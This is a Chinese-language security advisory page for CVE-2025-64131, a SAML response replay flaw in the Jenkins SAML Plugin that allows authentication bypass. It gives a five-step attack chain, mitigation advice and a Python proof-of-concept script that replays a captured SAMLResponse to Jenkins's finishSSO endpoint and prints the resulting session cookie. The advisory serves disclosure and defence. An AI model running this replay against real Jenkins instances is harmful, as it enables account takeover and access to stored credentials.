IPBUF安全漏洞报告
English
CVE-2025-64131 CVSS 7.5 高危

CVE-2025-64131: Jenkins SAML插件存在重放攻击导致认证绕过

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64131
漏洞类型
认证绕过/重放攻击
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Jenkins SAML Plugin

相关标签

CVE-2025-64131JenkinsSAML重放攻击认证绕过身份认证漏洞高危漏洞

漏洞概述

Jenkins SAML Plugin 4.583.vc68232f7018a_及更早版本存在严重的安全漏洞。该插件未实现SAML响应重放缓存机制,导致攻击者能够在获取SAML认证流程信息后,非法重放之前截获的SAML认证响应。攻击者通过这种重放攻击,可以冒充合法用户成功登录Jenkins系统,从而获取该用户的全部访问权限。此漏洞无需高复杂度即可利用,但需要攻击者能够监视或获取SAML认证流程中的通信数据。由于该漏洞影响身份认证核心机制,CVSS基础评分达到7.5分(高危),对系统机密性、完整性和可用性均造成严重影响。

技术细节

该漏洞源于Jenkins SAML插件缺少SAML断言重放保护机制。在标准SAML认证流程中,服务提供商(SP)应当维护一个断言ID缓存,用于记录已使用过的SAML响应,防止同一断言被多次使用(重放攻击)。然而,Jenkins SAML Plugin 4.583.vc68232f7018a_及更早版本未实现此缓存功能。攻击者可以通过中间人攻击、网络窃听或社会工程学手段获取用户浏览器与Jenkins服务器之间的SAML认证通信数据。一旦获取到有效的SAML响应(包含用户身份信息和签名),攻击者即可在有效期内重放该响应,绕过正常的认证流程,以受害者身份登录Jenkins系统。由于SAML响应通常包含较长的有效期(可达数小时甚至数天),攻击者有充足的时间窗口执行重放攻击。成功利用此漏洞后,攻击者将获得受害用户的全部权限,包括项目管理、构建触发、凭证访问等敏感操作。

攻击链分析

STEP 1
步骤1
信息收集:攻击者通过网络嗅探、中间人攻击或其他方式获取用户与Jenkins SAML IdP之间的SAML认证通信数据
STEP 2
步骤2
提取凭证:攻击者从捕获的网络流量中提取有效的SAML Response,包含用户身份信息和IdP签名
STEP 3
步骤3
构造重放请求:攻击者使用提取的SAML Response,向Jenkins的SAML ACS(Assertion Consumer Service)端点发送重放请求
STEP 4
步骤4
绕过认证:由于插件未实现重放缓存,Jenkins接受重放的SAML Response并创建有效会话
STEP 5
步骤5
会话劫持:攻击者获得受害者身份的有效会话cookie,完全控制受害者的Jenkins账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-64131 PoC - SAML Response Replay Attack Concept # Note: This is a conceptual PoC for educational purposes only import base64 import time import requests # Configuration JENKINS_URL = "http://target-jenkins:8080" SAML_ENDPOINT = "/securityRealm/startSSO" def capture_saml_response(): """ Step 1: Capture SAML Response through MITM or network sniffing In real attack scenario, attacker would intercept network traffic between user's browser and Jenkins SAML IdP. """ # Simulated captured SAML Response (deflated and base64 encoded) captured_response = "SAML_RESPONSE_BASE64_STRING" return captured_response def replay_saml_response(saml_response): """ Step 2: Replay the captured SAML Response to Jenkins ACS endpoint The plugin does not validate assertion replay, allowing reuse """ acs_url = f"{JENKINS_URL}/securityRealm/finishSSO" # Craft the replay request headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Compatible Jenkins SAML Replay)' } data = { 'SAMLResponse': saml_response, 'RelayState': '/' } try: response = requests.post(acs_url, data=data, headers=headers, allow_redirects=False) if response.status_code in [302, 303] and 'JSESSIONID' in response.cookies: print("[+] Replay attack successful! Session cookie obtained.") print(f"[+] Session ID: {response.cookies['JSESSIONID']}") return response.cookies['JSESSIONID'] else: print("[-] Replay attack failed or requires additional steps.") return None except Exception as e: print(f"[-] Error during replay: {e}") return None def main(): print("CVE-2025-64131 - Jenkins SAML Replay Attack PoC") print("=" * 50) # Step 1: Capture (simulated) saml_response = capture_saml_response() # Step 2: Replay session_cookie = replay_saml_response(saml_response) if session_cookie: print("\n[!] Attack completed. Use the session cookie to access Jenkins.") if __name__ == "__main__": main()

影响范围

Jenkins SAML Plugin <= 4.583.vc68232f7018a_

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时缓解措施:1) 强制所有用户通过VPN访问Jenkins,减少网络窃听风险;2) 启用Jenkins的双因素认证机制增强身份验证;3) 限制SAML IdP的断言有效期在合理范围内;4) 监控网络流量中的异常SAML认证请求模式;5) 考虑暂时禁用SAML认证,使用Jenkins原生认证作为过渡方案。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表